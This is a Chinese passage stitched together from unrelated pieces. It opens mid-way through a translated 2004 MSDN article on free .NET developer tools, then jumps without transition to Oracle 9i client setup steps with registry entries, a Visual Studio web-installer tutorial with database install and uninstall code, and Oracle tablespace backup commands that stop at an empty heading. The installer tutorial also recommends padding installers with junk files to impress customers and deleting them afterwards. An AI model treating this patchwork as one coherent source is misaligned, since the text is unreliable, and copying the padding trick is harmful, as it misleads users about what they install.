要测试该代码片段，只须按 play（运行）按钮（绿色三角形），它就会在调试模式下运行。该代码片段将生成一个弹出式控制台应用程序，并且将显示记事本。当您关闭记事本时，该控制台应用程序也将关闭。

就我个人而言，我是在尝试为某位向我求助的人士创建一个小型示例时，才发现 Snippet Compiler 是如此宝贵的 — 如果不使用该工具，则我通常必须新建一个项目，确保每个部分都能编译通过，然后将代码片段发送给求助者，并删除该项目。Snippet Compiler 使得这一过程变得更加容易、更加愉快。

Snippet Compiler 由 Jeff Key 编写，并且可以从 http://www.sliver.com/dotnet/SnippetCompiler 下载。

返回页首

Regulator

Regulator 是最后一个添加到我的头等工具清单中的。它是一种很有特色的工具，能够使生成和测试正则表达式变得很容易。人们对正则表达式重新产生了兴趣，因为它们在 .NET 框架中受到很好的支持。正则表达式用来基于字符、频率和字符顺序定义字符串中的模式。它们最常见的用途是作为验证用户输入有效性的手段或者作为在较大字符串中查找字符串的方法 — 例如，在 Web 页上查找 URL 或电子邮件地址。

Regulator 使您可以输入一个正则表达式以及一些针对其运行该表达式的输入内容。这样，在应用程序中实现该正则表达式之前，您可以了解它将产生什么效果以及它将返回哪些种类的匹配项。图 2 显示了带有简单正则表达式的 Regulator。

文档中包含该正则表达式 — 在该示例中，它是 [0-9]*，应该匹配一行中任意数量的数字。右下侧的框中含有针对该正则表达式的输入，而左下侧的框显示了该正则表达式在输入内容中找到的匹配项。在这样的单独应用程序中编写和测试正则表达式，要比尝试在您的应用程序中处理它们容易得多。

Regulator 中的最佳功能之一是能够在 regexlib.com 搜索联机正则表达式库。例如，如果您在搜索框中输入字符串“phone”，您将找到 20 种以上能够匹配各种电话号码的不同的正则表达式，包括用于英国、澳大利亚的表达式以及其他许多电话号码。Regulator 由 Roy Osherove 编写，并且可以在 http://royo.is-a-geek.com/regulator 下载。

返回页首

CodeSmith

CodeSmith 是一种基于模板的代码生成工具，它使用类似于 ASP.NET 的语法来生成任意类型的代码或文本。与其他许多代码生成工具不同，CodeSmith 不要求您订阅特定的应用程序设计或体系结构。使用 CodeSmith，可以生成包括简单的强类型集合和完整应用程序在内的任何东西。

当您生成应用程序时，您经常需要重复完成某些特定的任务，例如编写数据访问代码或者生成自定义集合。CodeSmith 在这些时候特别有用，因为您可以编写模板自动完成这些任务，从而不仅提高您的工作效率，而且能够自动完成那些最为乏味的任务。CodeSmith 附带了许多模板，包括对应于所有 .NET 集合类型的模板以及用于生成存储过程的模板，但该工具的真正威力在于能够创建自定义模板。为了使您能够入门，我将快速介绍一下如何生成自定义模板。

返回页首

生成自定义模板

CodeSmith 模板只是一些可以在任意文本编辑器中创建的文本文件。它们的唯一要求是用 .cst 文件扩展名来保存它们。我将要生成的示例模板将接受一个字符串，然后基于该字符串生成一个类。创建模板的第一步是添加模板头，它可声明模板的语言、目标语言以及简要模板说明：

<%@ CodeTemplate Language="C#"    

   TargetLanguage="C#" 

   Description="Car Template" %>

模板的下一部分是属性声明，在这里可声明将在模板每次运行时指定的属性。就该模板而言，我要使用的唯一属性只是一个字符串，因此属性声明如下所示：

<%@ Property Name="ClassName" Type="String" Category="Context" 

    Description="Class Name" %>

该属性声明将使 ClassName 属性出现在 CodeSmith 属性窗口中，以便可以在模板运行时指定它。下一步是实际生成模板主体，它非常类似于用 ASP.NET 进行编码。您可以在图 3 中查看该模板的主体。[编辑更新 — 6/16/2004：图 3 中的代码已被更新，以便对多线程操作保持安全。]

正如您所见，该模板接受字符串输入并使用该类名生成单独的类。在模板主体中，使用与 ASP.NET 中相同的起始和结束标记。在该模板中，我只是插入属性值，但您还可以在这些标记内部使用任意类型的 .NET 代码。在该模板完成之后，您就可以通过双击它或者从 CodeSmith 应用程序中打开它将其加载到 CodeSmith 中。图 4 显示了已经加载到 CodeSmith 中的该模板。

您可以看到左侧的属性正是我在该模板中声明的属性。如果我输入“SingletonClass”作为类名，并单击 Generate 按钮，则将生成图 3 的底部显示的类。

CodeSmith 使用起来相当容易，如果能够正确应用，则可以产生一些令人难以置信的结果。面向代码生成的应用程序中最常见的部分之一是数据访问层。CodeSmith 包括一个名为 SchemaExplorer 的特殊的程序集，可用来从表、存储过程或几乎任何其他 SQL Server? 对象生成模板。

CodeSmith 由 Eric J. Smith 编写，并且可以在 http://www.ericjsmith.net/codesmith 下载。

返回页首

NUnit

NUnit 是为 .NET 框架生成的开放源代码单元测试框架。NUnit 使您可以用您喜欢的语言编写测试，从而测试应用程序的特定功能。当您首次编写代码时，单元测试是一种测试代码功能的很好方法，它还提供了一种对应用程序进行回归测试的方法。NUnit 应用程序提供了一个用于编写单元测试的框架，以及一个运行这些测试和查看结果的图形界面。

返回页首

编写 NUnit 测试

作为示例，我将测试 .NET 框架中 Hashtable 类的功能，以确定是否可以添加两个对象并且随后检索这些对象。我的第一步是添加对 NUnit.Framework 程序集的引用，该程序集将赋予我对 NUnit 框架的属性和方法的访问权。接下来，我将创建一个类并用 TestFixture 属性标记它。该属性使 NUnit 可以知道该类包含 NUnit 测试：

using System;

using System.Collections;

using NUnit.Framework;

namespace NUnitExample

{

    [TestFixture]

    public class HashtableTest {

        public HashtableTest() {

            

        }

    }

}

下一步，我将创建一个方法并用 [Test] 属性标记它，以便 NUnit 知道该方法是一个测试。然后，我将建立一个 Hashtable 并向其添加两个值，再使用 Assert.AreEqual 方法查看我是否可以检索到与我添加到 Hashtable 的值相同的值，如下面的代码所示：

[Test]

public void HashtableAddTest()

{

    Hashtable ht = new Hashtable();

            

    ht.Add("Key1", "Value1");

    ht.Add("Key2", "Value2");

    Assert.AreEqual("Value1", ht["Key1"], "Wrong object returned!");

    Assert.AreEqual("Value2", ht["Key2"], "Wrong object returned!");

}

这将确认我可以首先向 Hashtable 中添加值并随后检索相应的值 — 这是一个很简单的测试，但能够表现 NUnit 的功能。存在许多测试类型以及各种 Assert 方法，可使用它们来测试代码的每个部分。

要运行该测试，我需要生成项目，在 NUnit 应用程序中打开生成的程序集，然后单击 Run 按钮。图 5 显示了结果。当我看到那个大的绿色条纹时，我有一种兴奋和头晕的感觉，因为它让我知道测试已经通过了。这个简单的示例表明 NUnit 和单元测试是多么方便和强大。由于能够编写可以保存的单元测试，并且每当您更改代码时都可以重新运行该单元测试，您不仅可以更容易地检测到代码中的缺陷，而且最终能够交付更好的应用程序。

图 5 NUnit

NUnit 是一个开放源代码项目，并且可以从 http://www.nunit.org 下载。还有一个优秀的 NUnit Visual Studio .NET 外接程序，它使您可以直接从 Visual Studio 中运行单元测试。您可以在 http://sourceforge.net/projects/nunitaddin 找到它。有关 NUnit 及其在测试驱动开发中的地位的详细信息，请参阅文章“Test-Driven C#: Improve the Design and Flexibility of Your Project with Extreme Programming Techniques”（MSDN ®Magazine 2004 年 4 月刊）。

返回页首

FxCop

.NET 框架非常强大，这意味着存在创建优秀应用程序的极大可能，但是也同样存在创建劣质程序的可能。FxCop 是有助于创建更好的应用程序的工具之一，它所采用的方法是：使您能够分析程序集，并使用一些不同的规则来检查它是否符合这些规则。FxCop 随附了由 Microsoft 创建的固定数量的规则，但您也可以创建并包括您自己的规则。例如，如果您决定所有的类都应该具有一个不带任何参数的默认构造函数，则可以编写一条规则，以确保程序集的每个类上都具有一个构造函数。这样，无论是谁编写该代码，您都将获得一定程度的一致性。如果您需要有关创建自定义规则的详细信息，请参阅 John Robbins 的有关该主题的 Bugslayer 专栏文章（MSDN ® Magazine 2004 年 6 月刊）。

那么，让我们观察一下实际运行的 FxCop，并且看一下它在我一直在处理的 NUnitExample 程序集中找到哪些错误。当您打开 FxCop 时，您首先需要创建一个 FxCop 项目，然后向其添加您要测试的程序集。在将该程序集添加到项目以后，就可以按 Analyze，FxCop 将分析该程序集。图 6 中显示了在该程序集中找到的错误和警告。

FxCop 在我的程序集中找到了几个问题。您可以双击某个错误以查看详细信息，包括规则说明以及在哪里可以找到更多信息。（您可以做的一件有趣的事情是在框架程序集上运行 FxCop 并查看发生了什么事情。）

FxCop 可以帮助您创建更好的、更一致的代码，但它无法补偿低劣的应用程序设计或非常简单拙劣的编程。FxCop 也不能替代对等代码检查，但是因为它可以在进行代码检查之前捕获大量错误，所以您可以花费更多时间来解决严重的问题，而不必担心命名约定。FxCop 由 Microsoft 开发，并且可以从 http://www.gotdotnet.com/team/fxcop 下载。

返回页首

Lutz Roeder 的 .NET Reflector

下一个必不可少的工具称为 .NET Reflector，它是一个类浏览器和反编译器，可以分析程序集并向您展示它的所有秘密。.NET 框架向全世界引入了可用来分析任何基于 .NET 的代码（无论它是单个类还是完整的程序集）的反射概念。反射还可以用来检索有关特定程序集中包含的各种类、方法和属性的信息。使用 .NET Reflector，您可以浏览程序集的类和方法，可以分析由这些类和方法生成的 Microsoft 中间语言 (MSIL)，并且可以反编译这些类和方法并查看 C# 或 Visual Basic ®.NET 中的等价类和方法。

为了演示 .NET Reflector 的工作方式，我将加载和分析前面已经显示的 NUnitExample 程序集。图 7 显示了 .NET Reflector 中加载的该程序集。

图 7 NUnitExample 程序集

在 .NET Reflector 内部，有各种可用来进一步分析该程序集的工具。要查看构成某个方法的 MSIL，请单击该方法并从菜单中选择 Disassembler。

除了能够查看 MSIL 以外，您还可以通过选择 Tools 菜单下的 Decompiler 来查看该方法的 C# 形式。通过在 Languages 菜单下更改您的选择，您还可以查看该方法被反编译到 Visual Basic .NET 或 Delphi 以后的形式。以下为 .NET Reflector 生成的代码：

public void HashtableAddTest()

{ 

    Hashtable hashtable1;

    hashtable1 = new Hashtable();

    hashtable1.Add("Key1", "Value1");

    hashtable1.Add("Key2", "Value2");

    Assert.AreEqual("Value1", hashtable1["Key1"], 

       "Wrong object returned!");

    Assert.AreEqual("Value2", hashtable1["Key2"],

       "Wrong object returned!");

}

前面的代码看起来非常像我为该方法实际编写的代码。以下为该程序集中的实际代码：

public void HashtableAddTest()

{

    Hashtable ht = new Hashtable();

            

    ht.Add("Key1", "Value1");

    ht.Add("Key2", "Value2");

    Assert.AreEqual("Value1", ht["Key1"],

        "Wrong object returned!");

    Assert.AreEqual("Value2", ht["Key2"],

        "Wrong object returned!");

}

尽管上述代码中存在一些小的差异，但它们在功能上是完全相同的。

虽然该示例是一种显示实际代码与反编译代码之间对比的好方法，但在我看来，它并不代表 .NET Reflector 所具有的最佳用途 — 分析 .NET 框架程序集和方法。.NET 框架提供了许多执行类似操作的不同方法。例如，如果您需要从 XML 中读取一组数据，则存在多种使用 XmlDocument、XPathNavigator 或 XmlReader 完成该工作的不同方法。通过使用 .NET Reflector，您可以查看 Microsoft 在编写数据集的 ReadXml 方法时使用了什么，或者查看他们在从配置文件读取数据时做了哪些工作。.NET Reflector 还是一个了解以下最佳实施策略的优秀方法：创建诸如 HttpHandlers 或配置处理程序之类的对象，因为您可以了解到 Microsoft 工作组实际上是如何在框架中生成这些对象的。

.NET Reflector 由 Lutz Roeder 编写，并且可以从 http://www.aisto.com/roeder/dotnet 下载。

返回页首

NDoc

编写代码文档资料几乎总是一项令人畏惧的任务。我所说的不是早期设计文档，甚至也不是更为详细的设计文档；我说的是记录类上的各个方法和属性。NDoc 工具能够使用反射来分析程序集，并使用从 C# XML 注释生成的 XML 自动为代码生成文档资料。XML 注释仅适用于 C#，但有一个名为 VBCommenter 的 Visual Studio .NET Power Toy，它能够为 Visual Basic .NET 完成类似的工作。此外，下一版本的 Visual Studio 将为更多语言支持 XML 注释。

使用 NDoc 时，您仍然在编写代码的技术文档，但您是在编写代码的过程中完成了文档编写工作（在 XML 注释中），而这更容易忍受。使用 NDoc 时，第一步是为您的程序集打开 XML 注释生成功能。右键单击该项目并选择 Properties | Configuration Properties | Build，然后在 XML Documentation File 选项中输入用于保存 XML 文件的路径。当该项目生成时，将创建一个 XML 文件，其中包含所有 XML 注释。下面是 NUnit 示例中的一个用 XML 编写了文档的方法：

/// <summary>

/// This test adds a number of values to the Hashtable collection 

/// and then retrieves those values and checks if they match.

/// </summary>

[Test]

public void HashtableAddTest()

{

    //Method Body Here

}

有关该方法的 XML 文档资料将被提取并保存在 XML 文件中，如下所示：

<member name="M:NUnitExample.HashtableTest.HashtableAddTest">

  <summary>This test adds a number of values to the Hashtable collection

    and then retrieves those values and checks if they match.</summary> 

</member>

NDoc 使用反射来考察您的程序集，然后读取该文档中的 XML，并且将它们进行匹配。NDoc 使用该数据来创建任意数量的不同文档格式，包括 HTML 帮助文件 (CHM)。在生成 XML 文件以后，下一步是将程序集和 XML 文件加载到 NDoc 中，以便可以对它们进行处理。通过打开 NDoc 并单击 Add 按钮，可以容易地完成该工作。

在将程序集和 XML 文件加载到 NDoc 中并且使用可用的属性范围自定义输出以后，单击 Generate 按钮将启动生成文档资料的过程。使用默认的属性，NDoc 可以生成一些非常吸引人并且实用的 .html 和 .chm 文件，从而以快速有效的方式自动完成原来非常乏味的任务。

NDoc 是一个开放源代码项目，并且可以从 http://ndoc.sourceforge.net 下载。

返回页首

NAnt

NAnt 是一个基于 .NET 的生成工具，与当前版本的 Visual Studio .NET 不同，它使得为您的项目创建生成过程变得非常容易。当您拥有大量从事单个项目的开发人员时，您不能依赖于从单个用户的座位进行生成。您也不希望必须定期手动生成该项目。您更愿意创建每天晚上运行的自动生成过程。NAnt 使您可以生成解决方案、复制文件、运行 NUnit 测试、发送电子邮件，等等。遗憾的是，NAnt 缺少漂亮的图形界面，但它的确具有可以指定应该在生成过程中完成哪些任务的控制台应用程序和 XML 文件。注意，MSBuild（属于 Visual Studio 2005 的新的生成平台）为每种健壮的生成方案进行了准备，并且由基于 XML 的项目文件以类似的方式驱动。

返回页首

实际运行的 NAnt

在该示例中，我将为前面创建的 NUnitExample 解决方案创建一个 NAnt 版本文件。首先，我需要创建一个具有 .build 扩展名的 XML 文件，将其放在我的项目的根目录中，然后向该文件的顶部添加一个 XML 声明。我需要添加到该文件的第一个标记是 project 标记：

<?xml version="1.0"?>

<project name="NUnit Example" default="build" basedir=".">

    <description>The NUnit Example Project</description>

</project>

项目标记还用于设置项目名称、默认目标以及基目录。Description 标记用于设置该项目的简短说明。

接下来，我将添加 property 标记，该标记可用于将设置存储到单个位置（随后可以从文件中的任意位置访问该位置）。在该例中，我将创建一个名为 debug 的属性，我可以随后将其设置为 true 或 false，以反映我是否要在调试配置下编译该项目。（最后，这一特定属性并未真正影响如何生成该项目；它只是您设置的一个变量，当您真正确定了如何生成该项目时将读取该变量。）

接下来，我需要创建一个 target 标记。一个项目可以包含多个可在 NAnt 运行时指定的 target。如果未指定 target，则使用默认 target（我在 project 元素中设置的 target）。在该示例中，默认 target 是 build。让我们观察一下 target 元素，它将包含大多数生成信息：

<target name="build" description="compiles the source code">

</target>

在 target 元素内，我将把 target 的名称设置为 build，并且创建有关该 target 将做哪些工作的说明。我还将创建一个 csc 元素，该元素用于指定应该传递给 csc C# 编译器的数据。让我们看一下该 csc 元素：

<csc target="library" output=".\bin\debug\NUnitExample.dll" 

    debug="${debug}">

<references>

    <includes name="C:\program files\NUnit V2.1\bin\NUnit.Framework.dll"/>

</references>

    <sources>

       <includes name="HashtableTest.cs"/>

    </sources>

</csc>

首先，我必须设置该 csc 元素的 target。在该例中，我将创建一个 .dll 文件，因此我将 target 设置为 library。接下来，我必须设置 csc 元素的 output，它是将要创建 .dll 文件的位置。最后，我需要设置 debug 属性，它确定了是否在调试中编译该项目。因为我在前面创建了一个用于存储该值的属性，所以我可以使用下面的字符串来访问该属性的值：${debug}。Csc 元素还包含一些子元素。我需要创建两个元素：references 元素将告诉 NAnt 需要为该项目引用哪些程序集，sources 元素告诉 NAnt 要在生成过程中包含哪些文件。在该示例中，我引用了 NUnit.Framework.dll 程序集并包含了 HashtableTest.cs 文件。图 8 中显示了完整的生成文件。（您通常还要创建一个干净的 target，用于删除生成的文件，但为了简洁起见，我已经将其省略。）

要生成该文件，我需要转到我的项目的根目录（生成文件位于此处），然后从该位置执行 nant.exe。如果生成成功，您可以在该应用程序的 bin 目录中找到 .dll 和 .pdb 文件。尽管使用 NAnt 肯定不像在 Visual Studio 中单击 Build 那样简单，但它仍然是一种非常强大的工具，可用于开发按自动计划运行的生成过程。NAnt 还包括一些有用的功能，例如能够运行单元测试或者复制附加文件（这些功能没有受到当前 Visual Studio 生成过程的支持）。

NAnt 是一个开放源代码项目，并且可以从 http://nant.sourceforge.net 下载。

返回页首

转换工具

我已经将两个独立的工具合在一起放在标题“转换工具”下面。这两个工具都非常简单，但又可能极为有用。第一个工具是 ASP.NET 版本转换器，它可用于转换 ASP.NET（虚拟目录在它下面运行）的版本。第二个工具是 Visual Studio Converter，它可用于将项目文件从 Visual Studio .NET 2002 转换到 Visual Studio .NET 2003。

当 IIS 处理请求时，它会查看正在请求的文件的扩展名，然后基于该 Web 站点或虚拟目录的扩展名映射，将请求委派给 ISAPI 扩展或者自己处理该请求。这正是 ASP.NET 的工作方式；将为所有 ASP.NET 扩展名注册扩展名映射，并将这些扩展名映射导向 aspnet_isapi.dll。这种工作方式是完美无缺的，除非您安装了 ASP.NET 1.1 — 它会将扩展名映射升级到新版本的 aspnet_isapi.dll。当在 ASP.NET 1.0 上生成的应用程序试图用 1.1 版运行时，这会导致错误。要解决该问题，可以将所有扩展名映射重新转换到 1.0 版的 aspnet_isapi.dll，但是由于有 18 种扩展名映射，所以手动完成这一工作将很枯燥。这正是 ASP.NET 版本转换器可以发挥作用的时候。使用这一小型实用工具，可以转换任何单个 ASP.NET 应用程序所使用的 .NET 框架的版本。

图 9 ASP.NET 版本转换器

图 9 显示了实际运行的 ASP.NET 版本转换器。它的使用方法非常简单，只须选择相应的应用程序，然后选择您希望该应用程序使用的 .NET 框架版本。该工具随后将使用 aspnet_regiis.exe 命令行工具将该应用程序转换到所选版本的框架。随着将来版本的 ASP.NET 和 .NET 框架的发布，该工具将变得更为有用。

ASP.NET 版本转换器由 Denis Bauer 编写，并且可以从 http://www.denisbauer.com/NETTools/ASPNETVersionSwitcher.aspx 下载。

Visual Studio .NET 项目转换器（参见图 10）非常类似于 ASP.NET 版本转换器，区别在于它用于转换 Visual Studio 项目文件的版本。尽管在 .NET 框架的 1.0 版和 1.1 版之间只有很小的差异，但一旦将项目文件从 Visual Studio .NET 2002 转换到 Visual Studio .NET 2003，将无法再把它转换回去。虽然这在大多数时候可能不会成为问题（因为在 .NET 框架 1.0 版和 1.1 版之间几乎没有什么破坏性的更改），但在某些时刻您可能需要将项目转换回去。该转换器可以将任何解决方案或项目文件从 Visual Studio 7.1 (Visual Studio .NET 2003) 转换到 Visual Studio 7.0 (Visual Studio .NET 2002)，并在必要时进行反向转换。

图 10 Visual Studio .NET 项目转换器

Visual Studio .NET 项目转换器由 Dacris Software 编写。该工具可以从 http://www.codeproject.com/macro/vsconvert.asp 下载。

返回页首

小结

本文采用走马观花的方式介绍了上述工具，但我已经试图起码向您提供足够的信息以激起您的好奇心。我相信本文已经让您在某种程度上领悟了几个免费工具，您可以立即开始使用这些工具来编写更好的项目。同时，我还要敦促您确保自己拥有所有其他可以获得的合适工具，无论是最新版本的 Visual Studio、功能强大的计算机还是免费的实用工具。拥有合适的工具将使一切变得大不相同。

James Avery 是一位使用 .NET 和其他 Microsoft 技术的顾问。他已经撰写了许多书籍和文章，他的最新著作是《ASP.NET Setup and Configuration Pocket Reference》(Microsoft Press, 2003)。您可以通过 javery@infozerk.com 向他发送电子邮件，并且在 http://www.dotavery.com/blog 阅读他的网络日记。

本文摘自 MSDN Magazine 的 2004 年 7 月刊。

该杂志可在各地的报摊购买，也可以订阅。

转到原英文页面

一、将Oracle目录\oracle\ora92\bin所有的*.dll文件、\oracle\ora92\network下所有文件、\oracle\ora92\ocommon下所有文件、\oracle\ora92\oracore所有文件复制到C：盘根目录下；
二、修改ORACLE\ora92\NETWORK\ADMIN\的listener和tnsnames 文件
1、LISTENER文件配置 
LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = TCP)(HOST = 你的ORACLE服务器IP)(PORT = 1521))
    )
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0))
    )
  )

SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = PLSExtProc)
      (ORACLE_HOME = C:\ORACLE)
      (PROGRAM = extproc)
    )
  )
2、TNSNAMES文件配置
dbserver =  //连接字符串
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = 你的ORACLE服务器IP)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = ORACLE9)//oracle9为oracle服务器的实例名
    )
  )
三、执行注册表文件(不知道怎么做这个注册表文件可以问我要--QQ:20322267)；
如下是注册表文件的内容
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\oracle]
"NLS_LANG"="AMERICAN_AMERICA.zhs16gbk"
"ORACLE_HOME"="C:\\ORACLE"
"ORACLE_HOME_NAME"="DEFAULT_HOME"
"ORACLE_GROUP_NAME"="Oracle - DEFAULT_HOME"

[HKEY_LOCAL_MACHINE\SOFTWARE\oracle\ALL_HOMES]
"HOME_COUNTER"="1"
"DEFAULT_HOME"="DEFAULT_HOME"
"LAST_HOME"="0"

[HKEY_LOCAL_MACHINE\SOFTWARE\oracle\ALL_HOMES\ID0]
"NAME"="DEFAULT_HOME"
"PATH"="C:\\ORACLE"
"NLS_LANG"="NA"

[HKEY_LOCAL_MACHINE\SOFTWARE\oracle\HOME0]
"ID"="0"
"ORACLE_GROUP_NAME"="Oracle - DEFAULT_HOME"
"ORACLE_HOME_NAME"="DEFAULT_HOME"
"ORACLE_HOME"="C:\\ORACLE"
"NLS_LANG"="AMERICAN_AMERICA.zhs16gbk"
"ORACLE_BUNDLE_NAME"="Enterprise"
"ORACLE_HOME_KEY"="Software\\ORACLE\\HOME0"

四、将C:\oracle\ora92\bin路径加入AUTOEXEC.BAT批处理里面或环境变量的系统变量PATH里。
  PATH=C:\oracle\ora92\bin
五、把PB9的所有动态连接库拷到C盘PB9DLL下，把路径加到AUTOEXEC.BAT批处理里面；
  PATH=C:\PB9DLL

一、创建基本安装部署项目
1.在解决方案资源管理器，右击解决方案->添加->新建项目->安装部署项目->Web安装项目，例如命名为

WebSetup。

2.右击WebSetup项目->视图->文件系统。
（1）添加你所需要安装的Web程序（例如：WebApp）。在文件系统中右击Web应用程序文件夹->项目输出

->选择WebApp，同时选种主输出何内容输出。
（2）添加相关的文件，例如.jpg 、.xml等文件（根据帮助可知这些文件无法自动添加到安装文件中），

注意：原文件怎么样存放的，添加时也要以同样的文件夹存放。
例如，原文件存放在\\aa\cc\bb.txt，则添加文件bb.txt时也应如此，右击web应用程序文件夹->添加web

文件夹（命名为aa）->右击aa->添加web文件夹（命名为cc）->右击cc->添加文件（bb.txt）.

3.右击WebSetup项目->视图->用户界面。
1）添加你所需要的界面。安装->启动->添加对话框->文本框（A），如果添加了文本框则必须要上移（右

击要上移的文本框->上移）到安装地址之上。
2）如果有许可协议对话框，则在文件系统中要添加一个.rtf格式的文件（注意：改文件一定要时通过

word另存为.rtf格式得到，不可以通过记事本创建文件后把扩展名改为.rtf而得到，那样将不显示许可协

议），右击许可协议对话框->属性->把licenseFile属性选为你所要添加的许可协议文件。
（属性 BannerBitmap 安装对话框中的图片；Sunken 是否凹凸显示。其他对话框相同）
以上是安装文件制作的基本过程。如果要安装数据库，和用户自定义的一些操作如下：

二、添加自定义操作----安装数据库
1）在用户界面添->右击->添加对话框文本框（A）如果添加了文本框则必须要上移（右击要上移的文本框

->上移）到安装地址之上。

2）如果只安装一个数据库就把其Edit2Visible,Edit3Visible,Edit4Visible设置为false.把

Edit1property定义一个变量名，例如PARA1。

3） 自定义用户操作，在资源管理器界面右击资源管理器->新建->C#（也可以是VB.NET），选择类库，命

名为WebInstall 。

4） 新建项目会自动生成一个class1.cs文件，把此文件删除。右击WebInstall添加新项->安装类，命名

为Install.cs。

5）右击Install.cs->视图设计界面，然后在服务器资源管理器中添加数据库master的连接，添加好后把

这个连接拖到Install的设计界面。

6）在Install.cs文件中添加以下代码
注：要添加应用添加应用
using System.Reflection;
using System.Data;
using System.Data.SqlClient;
using System.IO;
安装数据库代码
/// <summary>
/// 获得配置文件中嵌入的文本文件
/// </summary>
/// <param name="Name">文件名</param>
/// <returns></returns>
private string GetSql(string Name)
{
Assembly Asm = Assembly.GetExecutingAssembly();
Stream strm = Asm.GetManifestResourceStream(Asm.GetName().Name + "."+Name);
StreamReader reader = new StreamReader(strm);
return reader.ReadToEnd();
}

/// <summary>
/// 指定的数据库执行SQL语句
/// </summary>
/// <param name="DatabaseName">数据库名</param>
/// <param name="sqlstring">SQL语句</param>
/// <returns></returns>
private void ExecuteSql(string DataBaseName,string sqlstring)
{
System.Data.SqlClient.SqlCommand Command = new

System.Data.SqlClient.SqlCommand(sqlstring,sqlConn);

Command.Connection.Open();
Command.Connection.ChangeDatabase(DataBaseName);
try
{
Command.ExecuteNonQuery();
}
finally
{
Command.Connection.Close();
}

}

/// <summary>
/// 创建数据库及数据库表
/// </summary>
/// <param name="DBName">数据库名</param>
/// <param name="assemblyName">配件中数据库脚本资源的名称</param>
/// <returns></returns>
protected bool CreateDBAndTable(string DBName)
{
bool Restult = false;
try
{
ExecuteSql("master","CREATE DATABASE " + DBName);
ExecuteSql(DBName,GetSql("bbssql.txt"));
Restult = true;

}
catch(Exception ex)
{
//次段代码为调试用可以不添加

StreamWriter sw = new StreamWriter(@"c:\SrInforSys.txt");
sw.WriteLine("[SrInforSys案装错误]");
sw.WriteLine(ex.Message.ToString());
sw.Close();
}
return Restult;
}

/// <summary>
/// 安装数据库
/// </summary>
/// <param name="stateSaver"></param>
public override void Install(IDictionary stateSaver)
{
base.Install (stateSaver);
if(!CreateDBAndTable(this.Context.Parameters["dbname1"].ToString()))
throw new ApplicationException("创建数据库时出现严重错误！");
}
在添加安装数据库时一定要有创建数据库的脚本，并且把它存为.txt文件添加到WebInstall项目中了，右

击该文件（例如，database.txt）->属性->生成操作，该为嵌入资源（这点很中要）。

7）生成WebInstall.dll文件。在解决方案资源管理器中右击->WebSetup项目->视图->在文件系统,右击

Web应用程序文件夹->添加->项目输出->选择WebInstall（主输出）->确定

8）在解决方案资源管理器中右击->WebSetup项目->视图->自定义操作，在自定义操作界面区中右击安装

->添加自定义操作->在Web应用程序文件夹->主输出来自WebInstall（活动）
添加完后右击主输出来自WebInstall（活动）->属性，把customeActionData设置为/dbname=[PARA1]（此

处的dbname为要接受的参数名，PARA1就是前面添加的文本框中Edit1property）。

9）编译WebSetup程序就可以了。
如果有两个或者多个数据库时，就把文本框的其他输入框设置为true（Edit2Visible, Edit3Visible ,

Edit4Visible），并且在自定义操作中把customeActionData属性改为/dbname1=[PARA1]

/dbname2=[PARA2] /dbname3=[PARA3] /dbname4=[PARA4]（有几个写几个）中间必须用一个空格分隔。

三、添加启动条件
在安装我们做好的程序总是要有一些启动条件的，例如必须有.net framework, SQL等。以下就以这SQL为

例子

1）在解决方案资源管理器中右击->WebSetup项目->视图->启动条件->目标计算机上的要求->添加注册表

启动条件->把名字改为search of SQL->属性，更改其属性
Property----------------SEARCHOFSQL
RegKey----------------SOFTWARE\Microsoft\MSSQLServer\Setup（指定要搜索的表项）
Root--------------------vsdrrHKLM（指定要搜索的注册表根）
Value-------------------SQLPath（要搜索的注册表值）

2）在启动条件界面，右击启动条件->添加启动条件命名为SQL Server,更改属性
Condition--------------- SEARCHOFSQL
Message-----------------您本机上没有SQL Server 2000，请先安装！
如果添加其他的启动条件类似。

四、卸载程序
1）在WebInstall项目中的Install.cs中添加如下代码
private bool DeleteDatabase()
{
try
{
ExecuteSql（此方法就是前面安装数据库的方法）("master","USE MASTER IF EXISTS (SELECT NAME

FROM SYSDATABASES WHERE NAME=’aa’) DROP DATABASE aa");
return true;
}
catch
{
return false;
}
}
public override void Uninstall(IDictionary savedState)
{
if (savedState == null)
throw new ApplicationException("未能卸载！");
else
{
base.Uninstall (savedState);
if(!DeleteDatabase())
throw new ApplicationException("卸载过程中发生错误，未能卸载！");
}
}

2）WebSetup项目的自定义操作中，右击卸载->添加自定义操作->在Web应用程序文件夹->主输出来自

WebInstall（活动）

五、添加删除垃圾文件
这一点不一定用的到，不过有一些老板认为做处来的安装程序太小了给用户看不是很好就添加一些垃圾文

件，让安装程序变大点，安装完后又删除。
在WebInstall项目中的Install.cs中添加如下代码

private void DeleteFile()
{
string stLocation;
Assembly asm = Assembly.GetExecutingAssembly();
stLocation = asm.Location;
stLocation = stLocation.Substring(0,stLocation.LastIndexOf("\\")) +"\\要删除的文件名";
System.IO.File.Delete(stLocation);
}
（此文件事先添加到Web应用程序文件夹下）
把DeleteFile（）方法添加到public override void Install(IDictionary stateSaver)中即可。

用户自定义的数据库备份

如果数据库运行在不归档模式下，只能在关闭状态下对数据库进行一致的完全备份

一、             表空间或数据文件的脱机备份

    如果数据库运行在归档模式下，可以在打开状态下对数据库中处于脱机状态的表空间或数据文件进行备份。在备份期间数据库中其它的表空间或数据文件仍然可以被用户使用。

SQL>ALTER  TABLESPACE  users  OFFLINE  NORMAL;

C:\COPY  E:\oracle\oradata\users01.dbf  F:\backup\users01.bak

SQL>ALTER  TABLESPACE  users  ONLINE;

SQL>ALTER  SYSTEM  ARCHIVE  LOG  CURRENT;

二、             表空间或数据文件的联机备份

如果数据库运行在归档模式下，可以在打开状态下对数据库中处于联机状态的表空间或数据文件进行备份。在备份期间这些表空间或数据文件仍然可以被用户使用。

SQL>ALTER  TABLESPACE  users  BEGIN  BACKUP;

C:\COPY  E:\oracle\oradata\users01.dbf  F:\backup\users01.bak

SQL>ALTER  TABLESPACE  users  END  BACKUP;

SQL>ALTER  SYSTEM  ARCHIVE  LOG  CURRENT;

三、             处理备份故障

